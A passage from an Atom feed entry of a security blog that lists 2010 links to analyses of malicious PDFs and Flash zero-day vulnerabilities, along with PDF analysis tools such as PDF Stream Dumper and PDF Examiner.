href="http://sec.jetlib.com/SecDocs/2010/12/12/%5BSlides%5D_OMG-WTF-PDF"&gt;OMG WTF PDF - Julia Wolf&lt;/a&gt; (obfuscation, slides)&lt;br /&gt;&lt;br /&gt;2010-10-28: &lt;a href="http://contagiodump.blogspot.com/2010/10/potential-new-adobe-flash-player-zero.html"&gt;CVE-2010-3654 Adobe Flash player zero day vulnerability&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-10-28: &lt;a href="http://bugix-security.blogspot.com/2010/10/new-adobe-0day-bug-in-flash-player.html"&gt;New Adobe 0day (bug in flash player),CVE-2010-3654&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-11-11: &lt;a href="http://extraexploit.blogspot.com/2010/11/cve-2010-4091-printseps-exploitation.html"&gt;CVE-2010-4091 – printSeps - exploitation attempts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-03: &lt;a href="http://contagiodump.blogspot.com/2010/12/nov-19-cve-2010-2883-with-flash-jit.html"&gt;CVE-2010-2883 with Flash JIT Spray (PDF in PDF) Event Invitation from The Heritage Foundation from spoofed Heritage address&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-08: &lt;a href="http://blog.9bplus.com/scoring-pdfs-based-on-malicious-filter"&gt;Scoring PDFs Based on Malicious Filter&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-12-08: &lt;a href="http://blog.9bplus.com/released-malware-statistics-and-scoring-tests"&gt;Released Malware Statistics and Scoring Tests&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010: &lt;a href="http://www.google.com/search?q=2010+pdf+site%3Ahttp%3A%2F%2Fcontagiodump.blogspot.com"&gt;Gran cantidad de análisis del blog Contagiodump&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;2010-05-31: &lt;a href="http://www.zynamics.com/dissector.html"&gt;PDF Dissector&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-07-21: &lt;a href="http://sandsprite.com/blogs/index.php?uid=7&amp;amp;pid=57"&gt;PDF Stream Dumper&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-23: &lt;a href="http://feliam.wordpress.com/2010/08/23/opaf/"&gt;Opaf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2010-08-31: &lt;a href="http://www.malwaretracker.com/pdf.php"&gt;PDF Examiner&lt;/a&gt; (web interface)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Jose Miguel Esparza&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;S21sec e-crime&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/kmIDVzJmc9s" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/4664526773185842046/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=4664526773185842046" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4664526773185842046?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4664526773185842046?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/kmIDVzJmc9s/pdf-security-links-2010-analysis-and.html" title="PDF Security links, 2010: Analysis and Tools" /><author><name>Ion</name><uri>http://www.blogger.com/profile/17837217200166713133</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2011/02/pdf-security-links-2010-analysis-and.html</feedburner:origLink></entry></feed>
